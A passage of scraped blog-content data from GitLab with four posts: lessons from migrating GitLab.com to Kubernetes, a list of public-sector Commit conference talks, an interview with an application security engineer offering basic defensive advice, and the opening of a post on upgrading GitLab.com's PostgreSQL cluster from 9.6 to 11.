.note}\n",[2509,3949],{"slug":21776,"featured":6,"template":678},"gitlab-and-workloads-on-ibm-z-and-red-hat-openshift","content:en-us:blog:gitlab-and-workloads-on-ibm-z-and-red-hat-openshift.yml","Gitlab And Workloads On Ibm Z And Red Hat Openshift","en-us/blog/gitlab-and-workloads-on-ibm-z-and-red-hat-openshift.yml","en-us/blog/gitlab-and-workloads-on-ibm-z-and-red-hat-openshift",{"_path":21782,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21783,"content":21789,"config":21795,"_id":21797,"_type":16,"title":21798,"_source":17,"_file":21799,"_stem":21800,"_extension":20},"/en-us/blog/year-of-kubernetes",{"title":21784,"description":21785,"ogTitle":21784,"ogDescription":21785,"noIndex":6,"ogImage":21786,"ogUrl":21787,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21787,"schema":21788},"What we learned after a year of GitLab.com on Kubernetes","It's been one year since we moved GitLab.com to Kubernetes. We unpack the challenges and learnings from this major migration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681569/Blog/Hero%20Images/nico-e-AAbjUJsgjvE-unsplash.jpg","https://about.gitlab.com/blog/year-of-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we learned after a year of GitLab.com on Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jarvis\"}],\n        \"datePublished\": \"2020-09-16\",\n      }",{"title":21784,"description":21785,"authors":21790,"heroImage":21786,"date":21792,"body":21793,"category":734,"tags":21794},[21791],"John Jarvis","2020-09-16","\n\nFor about a year now, the infrastructure department has been working on migrating all services that run on GitLab.com to Kubernetes. The effort has not been without challenges, not only with moving services to Kubernetes but also managing a hybrid deployment during the transition. We have learned a number of lessons along the way that we will explore in this post.\n\nSince the very beginning of GitLab.com, servers for the website have run in the cloud on virtual machines. These VMs are managed by Chef and installed using our [official Linux package](/install/#ubuntu).\nWhen an application update is required, [our deployment strategy](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/deploy/gitlab-com-deployer.md) is to simply upgrade fleets of servers in a coordinated rolling fashion using a CI pipeline.\nThis method, while slow and a bit [boring](https://handbook.gitlab.com/handbook/values/#boring-solutions), ensures that GitLab.com is using the same installation methods and configuration as our self-managed customers who use Linux packages.\nWe use this method because it is especially important that any pain or joy felt by the community when installing or configuring self-managed GitLab is also felt by GitLab.com.\nThis approach worked well for us for a time but as GitLab.com has grown to hosting over 10 million projects we realized it would no longer serve our needs for scaling and deployments.\n\n## Enter Kubernetes and cloud native GitLab\n\nWe created the [GitLab Charts](https://gitlab.com/gitlab-org/charts) project in 2017 to prepare GitLab for deployments in the cloud and enable self-managed users to install GitLab into a Kubernetes cluster. We knew then that running GitLab.com on Kubernetes would benefit the SaaS platform for scaling, deployments, and efficient use of compute resources. At the time though there were still many application features that depended on NFS mounts that delayed our migration off of VMs.\n\nThe push for cloud native and Kubernetes gave engineering an opportunity to plan a gradual transition that removes some of the network storage dependencies on the application while continuing to develop new features. Since we started planning the migration in the summer of 2019, most of these limitations have been resolved and the journey to running all of GitLab.com on Kubernetes is now well underway!\n\n## Running GitLab.com on Kubernetes\n\nFor GitLab.com we use a single regional GKE cluster that services all application traffic. To minimize the complexity of the (already complex) migration we focus on services that don't depend on local storage or NFS. While GitLab.com is running from mostly monolithic Rails codebase, we route traffic depending on workload characteristics to different endpoints which are isolated into their own node pools.\n\nOn the frontend these types are divided into web, API, git SSH/HTTPs requests, and Registry.\nOn the backend we divide our queued jobs into different characteristics depending on [predefined resource boundaries](/blog/scaling-our-use-of-sidekiq/) that allow us to set Service-level Objective (SLO) targets for a range of different workloads.\n\nAll of these GitLab.com services are configured with the unmodified GitLab Helm chart, which configures them in sub-charts that can be selectively enabled as we gradually migrate services to the cluster.\nWhile we opted to not include some of our stateful services such as Redis, Postgres, GitLab Pages, and Gitaly, when the migration to Kubernetes is finished it will drastically reduce the number of VMs that we currently manage with Chef.\n\n## Transparency and managing the Kubernetes configuration\n\nAll configuration is managed in GitLab itself in three configuration projects using Terraform and Helm.\nWhile we use GitLab to run GitLab wherever possible, we maintain a separate GitLab installation for operations.\nThis is done to ensure we do not depend on the availability of GitLab.com for deployments and upgrades of GitLab.com.\n\nEven though our pipelines that execute against the Kubernetes cluster run on this separate GitLab deployment, the code repositories are mirrored and publicly viewable at the following locations:\n\n* [k8s-workloads/gitlab-com](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com): GitLab.com configuration wrapper for the GitLab Helm chart.\n* [k8s-workloads/gitlab-helmfiles](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-helmfiles/): Contains the configuration for services that are not directly related to the GitLab application. This includes configurations for cluster logging and monitoring and integrations like PlantUML.\n* [gitlab-com-infrastructure](https://gitlab.com/gitlab-com/gitlab-com-infrastructure): Terraform configuration for the Kubernetes and legacy VM infrastructure. All the resources necessary to run the cluster are configured here, including the cluster, node pools, service accounts, and IP address reservations.\n\n[![hpa](https://about.gitlab.com/images/blogimages/a_year_of_k8s/hpa.png)](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/315#note_390180361)\nWhenever a change is proposed, a public [short summary](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/315#note_390180361) is displayed, with a link to detailed diff that an SRE reviews before applying changes to the cluster.\n{: .note.text-center}\n\nFor SREs, we link to a detailed diff on our operations GitLab instance that has limited access.\nThis allows employees and the community, who do not have access to the operational project which is limited to SREs, to have visibility into proposed config changes.\nBy having a public GitLab instance for code, and a private instance for [CI pipelines](/solutions/continuous-integration/), we are able to keep a single workflow while at the same time ensuring we don't have a dependency on GitLab.com for configuration updates.\n\n## The lessons we learned along the way\n\nWe have learned a few things along the way, lessons that we are applying to future migrations and new deployments into Kubernetes.\n\n### Increased billing from cross-AZ traffic\n\n![git egress](https://about.gitlab.com/images/blogimages/a_year_of_k8s/git_egress.png)\nDaily egress bytes/day from the Git storage fleet on GitLab.com.\n{: .note.text-center}\n\nGoogle divides its network into regions and regions are divided into availability zones (AZs).\nBecause of the large amount of bandwidth required for Git hosting, it is important we are cognizant of network egress. For internal network traffic, egress is only free-of-charge if it remains in a single AZ.\nAt the time of writing this blog post, we deliver approximately 100TB on a typical work day for just Git repositories.\nOn legacy VM topology, services that were previously colocated on the same VMs are now running in Kubernetes pods.\nThis mean some network traffic that was previously local to a VM can now potentially traverse availability zones.\n\nRegional GKE clusters provide the convenience of spanning multiple availability zones for redundancy.\nWe are considering [splitting the regional GKE cluster into single zonal clusters](https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1175) for services that use a lot of bandwidth to avoid network egress charges while maintaining redundancy at the cluster level.\n\n### Resource limits, requests, and scaling\n\n![replicas](https://about.gitlab.com/images/blogimages/a_year_of_k8s/replicas.png)\nNumber of replicas servicing production traffic on registry.gitlab.com, Registry traffic reaches it peak at ~15:00UTC.\n{: .note.text-center}\n\nOur migration story began in August 2019 when we migrated the GitLab Container Registry to Kubernetes, the first service to move.\nThough this was a critical and high traffic service, it was a good choice for the first migration because it is a stateless application with only a few external dependencies.\nThe first challenge we experienced was the large number of evicted pods, due to memory constraints on our nodes.\nThis required multiple changes to requests and limits. We found that with an application that increases its memory utilization over time, low requests (which reserves memory for each pod) and a generous hard limit on utilization was a recipe for node saturation and a high rate of evictions.\nTo adjust for this [we eventually decided to use higher requests and lower limit](https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/998#note_388983696) which took pressure off of the nodes and allowed pods to be recycled without putting too much pressure on the node.\nAfter experiencing this once, we start our migrations with generous requests and limits that are close to the same value, and adjust down as needed.\n\n### Metrics and logging\n\n![registry-general](https://about.gitlab.com/images/blogimages/a_year_of_k8s/registry-general.png)\nThe Infrastructure department focuses on latency, error rates and saturation that have [Service-level objectives (SLOs)](https://en.wikipedia.org/wiki/Service-level_objective) that tie into our [overall system availability](https://dashboards.gitlab.net/d/general-slas/general-slas?orgId=1).\n{: .note.text-center}\n\nOver the past year, one of the major changes in the infrastructure department was improvements to how we monitor and manage SLOs.\nSLOs allowed us to set targets on individual services which were monitored closely during the migration.\nYet even with this improved observability, we can't always see problems right away with our metric reporting and alerting.\nFor example, focusing on latency and error rates may not adequately cover all uses of the service that is being migrated.\nWe discovered this problem very early with some of the workloads that were moved into the cluster. This challenge was particularly acute when we had to validate features that do not receive many requests but have very specific configuration dependencies.\nOne of the key migration lessons was to also evaluate more than just monitoring metrics, but also logs, and the long-tail of errors in our monitoring.\nNow for every migration we include a detailed list of log queries and plan a clear rollback procedures that can be handed off from one shift to the next in case of issues.\n\nServing the same requests on legacy VM infrastructure and Kubernetes simultaneously presented a unique challenge.\nUnlike a lift-and-shift migration, running on legacy VMs and Kubernetes at the same time requires that our observability is compatible with both and combines metrics into one view.\nMost importantly, we are using the same dashboards and log queries to ensure the observability is consistent during the transition period.\n\n### Shifting traffic to the new cluster\n\nFor GitLab.com we maintain a segmentation of our fleet named the [canary stage](/handbook/engineering/#canary-testing).\nThis canary fleet services our internal projects, [or can be enabled by users](https://next.gitlab.com), and is deployed to first for infrastructure and application changes.\nThe first service we migrated started with taking limited traffic internally and we are continuing to use this method to ensure we are meeting our SLOs before committing all traffic to the cluster.\nWhat this means for the migration is requests to internal projects are first routed to Kubernetes and then we slowly move other traffic to the cluster using HAProxy backend weighting.\nWe learned in the process of moving from VMs to Kubernetes that it was extremely beneficial for us to have an easy way to move traffic between the old and new infrastructure, and to keep legacy infrastructure available for rollback in the first few days after the migration.\n\n### Reserved pod capacity and utilization\n\nOne problem we identified early was, while our pod start times for the Registry service were very short, our start times for Sidekiq took as long as [two minutes](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/1775).\nThe long Sidekiq start times posed a challenge when we started moving workloads to Kubernetes for workers that need to process jobs quickly and scale fast.\nThe lesson here was while the Horizontal Pod Autoscaler (HPA) works well in Kubernetes for adapting to increased traffic, it is also important to evaluate workload characteristics and set reserved pod capacity, especially for uneven demand.\nIn our case, we saw a sudden spike in jobs which caused a large scaling event which saturated CPU before we could scale the node pool.\nWhile it is tempting to squeeze as much as possible out of the cluster, after experiencing some initial performance problems we now start with a generous pod budget and scale down later, while keeping a close eye on SLOs.\nThe pod start times for Sidekiq service have improved significantly and now average about 40 seconds. [Improving the pod start times](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/1775) benefited GitLab.com as well as all the self-managed customers using the official GitLab Helm chart.\n\nAfter transitioning each service, we enjoyed many benefits of using Kubernetes in production, including much faster and safer deploys of the application, scaling, and more efficient resource allocation.\nThe migration benefits extend beyond GitLab.com. With each improvement of the official Helm chart, we provide additional benefits to our self-managed customers.\n\nWe hope you enjoyed reading about our Kubernetes migration journey. As we continue to migrate more services to the cluster you can read more at following links:\n\n* [Why are we migrating to Kubernetes?](/handbook/engineering/infrastructure/production/kubernetes/gitlab-com/)\n* [GitLab.com on Kubernetes](/handbook/engineering/infrastructure/production/architecture/#gitlab-com-on-kubernetes)\n* [Tracking epic for the GitLab.com Kubernetes Migration](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/112)\n\nCover image by [Nico E.](https://unsplash.com/@xnico) on [Unsplash](https://www.unsplash.com/)\n{: .note}\n\n## Read more on Kubernetes:\n\n- [How to install and use the GitLab Kubernetes Operator](/blog/gko-on-ocp/)\n\n- [Threat modeling the Kubernetes Agent: from MVC to continuous improvement](/blog/threat-modeling-kubernetes-agent/)\n\n- [How to deploy the GitLab Agent for Kubernetes with limited permissions](/blog/setting-up-the-k-agent/)\n\n- [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n\n- [Understand Kubernetes terminology from namespaces to pods](/blog/kubernetes-terminology/)\n",[676,6962],{"slug":21796,"featured":6,"template":678},"year-of-kubernetes","content:en-us:blog:year-of-kubernetes.yml","Year Of Kubernetes","en-us/blog/year-of-kubernetes.yml","en-us/blog/year-of-kubernetes",{"_path":21802,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21803,"content":21808,"config":21814,"_id":21816,"_type":16,"title":21817,"_source":17,"_file":21818,"_stem":21819,"_extension":20},"/en-us/blog/top-ten-reasons-to-check-out-gitlab-virtual-commit",{"title":21804,"description":21805,"ogTitle":21804,"ogDescription":21805,"noIndex":6,"ogImage":18477,"ogUrl":21806,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21806,"schema":21807},"Top Ten Reasons to Check Out GitLab's Virtual Commit","An overview of GitLab's Virtual Commit and the content available specific to public sector.","https://about.gitlab.com/blog/top-ten-reasons-to-check-out-gitlab-virtual-commit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top Ten Reasons to Check Out GitLab's Virtual Commit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jim Riley\"}],\n        \"datePublished\": \"2020-09-14\",\n      }",{"title":21804,"description":21805,"authors":21809,"heroImage":18477,"date":21811,"body":21812,"category":18484,"tags":21813},[21810],"Jim Riley","2020-09-14","\n \n{::options parse_block_html=\"true\" /}\n\n \nThis year the GitLab crew stepped away from everything they knew about creating an amazing, winning conference and reworked the Commit vision to better fit in line with the needs of our changed world. The result was an incredible digital experience. Commit transformed into a 24-hour full conference program filled with practical DevOps strategies shared by leaders in development, operations, and security. Why 24-hours? GitLab has customers, partners and contacts all across the globe and the Commit team saw the virtual environment as an opportunity to make certain everyone had access to all the exciting, featured content and our GitLab team in real time.\n \nGitLab customers and partners shared real world examples of how GitLab is helping their organizations innovate, survive, and succeed @ speed. [Login](https://gitlabcommitvirtual.com/) to view the top ten presentations that showcase how Public Sector is leading digital transformation through GitLab.\n \n - Nicolas Chaillan, Chief Software Officer, US Air Force, United States Air Force and his keynote talk  “DevSecOps in Government and Highly Regulated Industries” \n - How The U.S. Army Cyber School Created ‘Courseware-as-Code’ With GitLab \n - Deployment & Adoption of GitLab in Government \n - DevSecOps At The Brazilian Federal Public Ministry...Exclusively With Open Source Tools \n - DevOps 101: Getting to Minimal Viable 'DevOpsness' \n - Scaling DevOps at the NSA \n - Accelerating Speed to Mission Through Low-to-High Cross Domain Collaboration \n - Enabling the Tactical Edge Through DevSecOps in a Box \n - Cloud-Native Security: Processes And Tools To Protect Modern Applications \n - DevOps 101: Getting to Minimal Viable 'DevOpsness \n \nAfter absorbing the presentations shared at Commit, if you’re finding you’d like to dive a little deeper and explore a bit more, [reach out to us](https://about.gitlab.com/company/contact/) and we’ll be happy to connect with you and keep the conversation going!\n \nTo learn more about GitLab Public Sector, please visit: https://about.gitlab.com/solutions/public-sector/\n",[4103,943,674,2509],{"slug":21815,"featured":6,"template":678},"top-ten-reasons-to-check-out-gitlab-virtual-commit","content:en-us:blog:top-ten-reasons-to-check-out-gitlab-virtual-commit.yml","Top Ten Reasons To Check Out Gitlab Virtual Commit","en-us/blog/top-ten-reasons-to-check-out-gitlab-virtual-commit.yml","en-us/blog/top-ten-reasons-to-check-out-gitlab-virtual-commit",{"_path":21821,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21822,"content":21828,"config":21832,"_id":21834,"_type":16,"title":21835,"_source":17,"_file":21836,"_stem":21837,"_extension":20},"/en-us/blog/why-basic-security-practices-matter-for-everyone",{"title":21823,"description":21824,"ogTitle":21823,"ogDescription":21824,"noIndex":6,"ogImage":21825,"ogUrl":21826,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21826,"schema":21827},"How information security practices help everyone","Security oversights can happen to anyone without the right practices in place. Read here on why security practices matter and what you should use.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670783/Blog/Hero%20Images/pexels-christina-morillo.jpg","https://about.gitlab.com/blog/why-basic-security-practices-matter-for-everyone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How information security practices help everyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-09-14\",\n      }",{"title":21823,"description":21824,"authors":21829,"heroImage":21825,"date":21811,"body":21830,"category":18484,"tags":21831},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWe asked GitLab sr. security engineer Andrew Kelly about the projects he’s working on, what he’s learned from mistakes he’s made in InfoSec and why writing unit tests for unexpected events is so important.\n\n![Andrew Kelly Headshot](https://about.gitlab.com/images/blogimages/akellycirc.png){: .small.right.wrap-text} **Name:** Andrew Kelly\n\n**Title:** Senior Security Engineer, Application Security\n\n**How long have you been at GitLab?**: I joined July 2019\n\n**GitLab handle:** [@ankelly](https://gitlab.com/ankelly)\n\n\n\n#### Tell us what you do here at GitLab:\nI work with GitLab teams and HackerOne reporters to ensure that GitLab products are secure. This includes conducting [application security reviews](/topics/devsecops/), verifying and determining the impact severity of vulnerabilities, collaborating with development and product teams on solutions, and a variety of other application security related tasks.\n\n#### What’s the most challenging or rewarding aspect of your role? \nI find that one of the most rewarding aspects of my role is working with our HackerOne reporters. The [GitLab bug bounty program](https://hackerone.com/gitlab) receives reports from all sorts of hackers all over the world and I really enjoy the process of investigating and triaging their findings. These reports describe potential vulnerabilities impacting a number of different GitLab applications and systems. Oftentimes, while recreating a vulnerability or investigating a report I end up learning something new about application security or GitLab itself.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on? \nI’m the [application security stable counterpart](/handbook/security/security-engineering/application-security/stable-counterparts.html) for the [Growth](/handbook/engineering/development/growth/) and [Enablement](/handbook/engineering/development/enablement/) teams. Application Security stable counterparts collaborate with teams throughout the software development lifecycle to assess risk, review code, and otherwise help drive security-conscious outcomes. This has given me an opportunity to work with an amazing and talented group of people on a number of different projects and in much more depth than I might otherwise be able to.\n\nIn addition, I’ve recently been working to help get GitLab’s [Secure tooling](https://docs.gitlab.com/ee/user/application_security/) enabled in several of our major product repositories. This effort has involved coordination across teams, code review, and working with [CI/CD configurations](/topics/ci-cd/). This impacts a significant number of GitLab repositories and I’m excited for the amount of coverage this will provide. I’ve also been involved with configuring and enabling the [GitLab container scanning tools](https://docs.gitlab.com/ee/user/application_security/container_scanning/) to analyze certain docker images.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend? \nWrite unit tests that cover unexpected cases. Oftentimes when writing software we get focused on expected use cases and our specs tend to reflect that bias. In order to improve application security, I recommend taking the time to think about creative and malicious ways that user controlled input can be abused. This is worth the effort because you will inevitably find situations in which the code did not behave the way you expected and this will help you prevent some security problems before they get released.\n\n#### How did you get into security? \nI spent a lot of time on the internet growing up. My experiences online and the depiction of hackers in pop culture sparked my interest in security at a young age. It wasn’t until several years into my software development career that I realized it was something I was capable of doing and could do professionally. I started by learning about common web vulnerabilities and looking for them in the codebase that I contributed to as a developer. Over time I continued to learn and build my information security knowledge either on the job or in my freetime. \n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security? \nI’m hesitant to say that we’re doing this better than *anyone* else, but I’m very proud of GitLab’s commitment to transparency. Our teams are very committed to clear, open communication internally and with our customers and community members. This is especially true with regards to security -- transparency is baked into our procedures and processes and is always at the forefront of our minds. From a security perspective, this can be a tricky balancing act but I’m happy that it’s something we take very seriously. I think [Dominic Couture](/company/team/#dcouture) covered this well in a recent blog post ([“Security strengthened by iteration, and transparency\n”](https://about.gitlab.com/blog/security-strengthened-by-interation-and-transparency/)) that I recommend reading.\n\n#### What was your personal worst moment in the Infosec world and how did you recover? \nYears ago I wanted to build an application using a particular platform’s API, so I searched for and visited what I thought was the correct website and tried to log in. For some reason, my password didn’t work so I tried it a few more times and eventually gave up. Hours later I was alerted to an attempted sign-in to the real website from a location thousands of miles away. At this point, I realized the mistake I had made. In my haste I didn’t notice that the website I was putting my credentials into was actually using a [homograph](https://en.wikipedia.org/wiki/IDN_homograph_attack) to trick people whose attention is divided like mine was into giving up their passwords. Luckily I had two-factor authentication enabled and so my account was still protected, but I learned and reinforced some very important lessons that day:\n* Slow down and take the time to verify the address of the website you are visiting before entering any credentials\n* Better yet, bookmark important sites rather than searching for the website you’re looking to log into\n* Use a password manager and ensure you use unique passwords for each website\n* Enable multi-factor authentication everywhere that it is supported\n\nThese last two pieces of advice are something you’ll hear from many security professionals, including some of my coworkers -- like in this post, [\"The sky is not falling: tips to avoid the FUD and protect yourself online\"](/blog/the-sky-is-not-falling/).\n\n#### What would you like to see more of in the industry? \nI’d like to see vulnerability management integrated into the software development lifecycle across the tech industry. Organizations large and small are typically building applications bundled with dozens, if not hundreds, of dependencies and third-party libraries, all of which have the potential to become security concerns. Tooling and alerting has come a long way to help out, but it still requires organizational discipline and a not insignificant time investment. This can be a time-consuming task and often involves a lot of collaboration on behalf of the engineering and product teams, but is worth every bit of effort.\n\n## Now, for the questions you *really* want to have answered:\n\n#### VIM or EMACS?\nI believe that you have to choose the right tool for the job. It just so happens to usually be VIM, at least for me.\n\n#### What was the first computer you owned?\nThe first computer my family owned was a Commodore 64. My experiences playing video games on that and other early consumer computers paved the way for a lifetime of interest in technology.\n\n#### Show us your frequently used slack emoji list. What do you think this says about you?\nMy current 'Frequently Used' emojis indicate to me that I probably spend a little too much time in the #dog channel 😆. It also appears that emojis are my favorite way to say thank you.\n\n![Andrew Kelly's Emojis](https://about.gitlab.com/images/blogimages/akelly_slackmojis.png){: .shadow.small.center.wrap-text}\n\n\nPhoto by [Christina Morillo](https://www.pexels.com/@divinetechygirl) from [Pexels](https://www.pexels.com).\n{: .note}\n",[674,676],{"slug":21833,"featured":6,"template":678},"why-basic-security-practices-matter-for-everyone","content:en-us:blog:why-basic-security-practices-matter-for-everyone.yml","Why Basic Security Practices Matter For Everyone","en-us/blog/why-basic-security-practices-matter-for-everyone.yml","en-us/blog/why-basic-security-practices-matter-for-everyone",{"_path":21839,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21840,"content":21845,"config":21851,"_id":21853,"_type":16,"title":21854,"_source":17,"_file":21855,"_stem":21856,"_extension":20},"/en-us/blog/gitlab-pg-upgrade",{"title":21841,"description":21842,"ogTitle":21841,"ogDescription":21842,"noIndex":6,"ogImage":13848,"ogUrl":21843,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21843,"schema":21844},"How we upgraded PostgreSQL at GitLab.com","We explain the precise maintenance process to execute a major version upgrade of PostgreSQL.","https://about.gitlab.com/blog/gitlab-pg-upgrade","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we upgraded PostgreSQL at GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jose Finotto\"}],\n        \"datePublished\": \"2020-09-11\",\n      }",{"title":21841,"description":21842,"authors":21846,"heroImage":13848,"date":21848,"body":21849,"category":734,"tags":21850},[21847],"Jose Finotto","2020-09-11","\n\nWe teamed up with [OnGres](https://ongres.com/) to [perform a major version upgrade of GitLab.com's main Postgres cluster from version 9.6 to 11](https://status.gitlab.com/pages/maintenance/5b36dc6502d06804c08349f7/5ea322c1d1097004ba30d227) back in May 2020. We upgraded it during a maintenance window, and it all went according to plan. We unpack all that was involved – from planning, testing, and full process automation – to achieve a near-perfect execution of the PostgreSQL upgrade. The full operation was recorded and you can [watch it on GitLab Unfiltered](https://youtu.be/TKODwTtKWew).\n\nThe biggest challenge was to do a complete fleet major upgrade through an orchestrated [pg_upgrade](https://www.postgresql.org/docs/11/pgupgrade.html). We needed to have a rollback plan to optimize our capacity right after [Recovery Time Objective (RTO)](https://en.wikipedia.org/wiki/Disaster_recovery) while maintaining a 12-node cluster’s 6TB-data consistent serving 300.000 aggregated transactions per second from around six million users.\n\nThe best way to resolve an engineering challenge is to follow the blueprints and design docs. In the process of creating the blueprint, you define the problem that we are attempting to solve, evaluate the most suitable solutions, and consider the pros and cons of each solution. Here is a [link](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/database/postgres/Postgresql-upgrade/blueprint/) to the blueprint from the project.\n\nAfter the blueprint comes the design process. The implementation is detailed in the design process, where we explain the steps and requirements involved in executing the design. The design doc from the project is [linked here](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/database/postgres/Postgresql-upgrade/design).\n\n## Why we upgraded PostgreSQL\n\nWe made a business decision in GitLab 13.0 to discontinue support for Postgresql 10.0. PostgreSQL version 9.6 is becoming EOL in November 2021, so we needed to take action.\n\nHere are some of the main differences in features [between PostgreSQL versions 9.6 and 11](https://why-upgrade.depesz.com/show?from=9.6.18&to=11.7&keywords=):\n\n * Native table partitioning, supporting LIST, RANGE, and HASH.\n * Transaction supporting in stored procedures.\n * [Just-in-time (JIT) compilation](https://www.postgresql.org/about/news/1894/) for accelerating the execution of expressions in queries.\n * Query parallelism improvements and adds parallelized data definition capabilities.\n * The new PostgreSQL version comes with the \"[Logical Replication - A publish/subscribe framework for distributing data](https://www.postgresql.org/about/news/1786/)\" that was introduced in version 10. This feature enables smoother future upgrades and simplifies other relevant processes.\n * Quorum-based commit that would ensure our transactions are committed in the specified nodes from the cluster.\n * Improved performance for queries over partitioned tables\n\n## The environment and architecture\n\nThe infrastructure capacity of the PostgreSQL cluster consisted of 12 n1-highmem-96 GCP instances for OLTP and asynchronous pipelines purposes – plus two BI nodes within different specs, each one with 96 CPU cores and 614GB RAM. The cluster HA is managed and configured through [Patroni](https://github.com/zalando/patroni), which keeps a consistent leader election through a Consul cluster and all its replicas working with asynchronous streaming replication using replication slots and WAL shipping against a GCS storage bucket.\nOur setup currently uses Patroni HA solution, which constantly gathers critical information about the cluster, leader detection, and node availability. It is implemented using key features from Consul, such as DNS service, which in turn updates PgBouncer endpoints, keeping a different architecture for traffic read-write and read-only.\n\n![GitLab.com Architecture{: .note.text-center}](https://about.gitlab.com/images/blogimages/pg-up-arch.png)\n[GitLab.com architecture](/handbook/engineering/infrastructure/production/architecture/#database-architecture)\n{: .note.text-center}\n\nFor HA purposes, two of the replicas are out of the read-only server list pool, used by the API, and served by Consul DNS. After several enhancements to Gitlab's architecture, we were able to downscale the fleet to seven nodes.\n\nFurthermore, the entire cluster handles a weekly average of approximately 181,000 transactions per second. As the image below indicates, the traffic increases on Monday and maintains the throughput during the week right up to Friday/Saturday. The traffic data was critical to set up a proper maintenance window so we can impact the fewest users.\n\n![GitLab.com Connection Numbers](https://about.gitlab.com/images/blogimages/pg-up-prom1.png)\nNumber of connections at GitLab.com\n{: .note.text-center}\n\nThe fleet is reaching 250,000 transactions per second in the busiest hours of the day.\n\n![GitLab.com Commits](https://about.gitlab.com/images/blogimages/pg-up-prom2.png)\nThe number of commits at GitLab.com.\n{: .note.text-center}\n\nIt is also handling spikes of 300,000 transactions per second. GitLab.com is reaching 60,000 connections per second.\n\n## Our upgrade requirements\n\nWe established a number of requirements before proceeding with the upgrade at production.\n\n * No regressions should be on PostgreSQL 11. We developed a custom benchmark to perform extensive regression testing. The goal was to identify potential query performance degradation in PostgreSQL 11.\n * The upgrade should be done across the whole fleet within the maintenance window.\n * Use pg_upgrade which relies on physical, and not logical, replication.\n * Keep a 9.6 cluster sample: Not all the nodes should be upgraded, a few of them should be left in 9.6 as a rollback procedure.\n * The upgrade should be fully automated to reduce the chance of any human error.\n * Only 30 minutes of maintenance threshold time for all the database upgrades.\n * The upgrade will be recorded and published.\n\n## The project\n\nTo accomplish a smooth execution in production, the project had the following phases:\n\n### Phase one: Develop automation in a isolated environment\n\n* Develop the [ansible-playbook](https://gitlab.com/gitlab-com/gl-infra/db-migration/-/tree/master/pg-upgrade) and test on a PostgreSQL environment (created using a back-up from staging) for these tests.\n* We used a separate environment to have the freedom to stop, initiate or restore the backup at any time, to focus on the development, and be able to restore an environment shortly before the upgrade.\n* We used a backup from staging to get the upgrade project in contact with the environment, where we faced some challenges such as migrating the procedures that are different for monitoring in our database.\n\n### Phase two: Integrate development with our configuration management in staging\n\n* Integrate with our configuration management in Chef, and execute a snapshot from the database disk that could be used in a restore scenario.\n* We told our customers that we would schedule a maintenance window with the goals of having the least impact possible on their work and to execute a safe upgrade without any risk of data loss.\n* After iterating and testing the integration to our configuration management we started to execute end-to-end tests in staging. Those tests were announced internally, so the other teams that share this environment would know that staging would be unavailable for a period of time.\n\n### Phase three: Test the upgrade end-to-end in staging\n\n * Pre-flight checks on the environment. We sometimes found problems with credentials or made tiny adjustments to improve the efficiency of our tests.\n * Stop all the applications and traffic to GitLab.com, add a maintenance mode in CloudFlare and HA-proxy, and stop all the applications that accessed the database, sidekiq, workhorse, WEB-API, etc.\n * Upgrade three nodes from the six node cluster. We had a similar strategy in production with a rollback scenario in mind.\n * Execute the ansible-playbook for the PostgreSQL upgrade, first on the leader database node, and after on the secondaries nodes.\n * Regarding post upgrade: We executed some automated tests in our ansible-playbook, checking that the replication and data were consistent.\n * Next, we started the applications to enable our QA team to execute several tests suites. They executed local unit tests on the upgraded database. We investigated negative results.\n * Once we finished the test we stopped the applications again to restore the staging cluster to version 9.6 and shut down the upgraded nodes to version 11, and started the old cluster. Where Patroni will promote one of the nodes, start the applications and the cluster could receive the traffic back. We restored the Chef configuration to the cluster 9.6 and rebuilt those databases to have six nodes ready for the next test.\n\nWe executed seven tests in staging in total, iterating to perfect the team's execution.\n\n### Phase four: Upgrade in production\n\nIn production, the steps were very similar to staging, and our plan was to have eight nodes migrated and four left behind as a backup:\n\n * Execute the pre-checks for the project.\n * Announce the start of the maintenance.\n * Execute the ansible-playbook to stop the traffic and application.\n * Execute the ansible-playbook to carry out the PostgreSQL upgrade.\n * Start the validation tests and restore the traffic. We performed the minimum amount of tests required, so we could fit everything in the narrow maintenance window.\n\nThe rollback plan would only be called in case of any problems with the database consistency, or errors in the QA test. The steps included:\n\n * Stop the cluster with PostgreSQL 11.\n * Restore the configuration in Chef to PostgreSQL 9.6.\n * Initialize the cluster with the four nodes in version 9.6. With these four nodes, we could 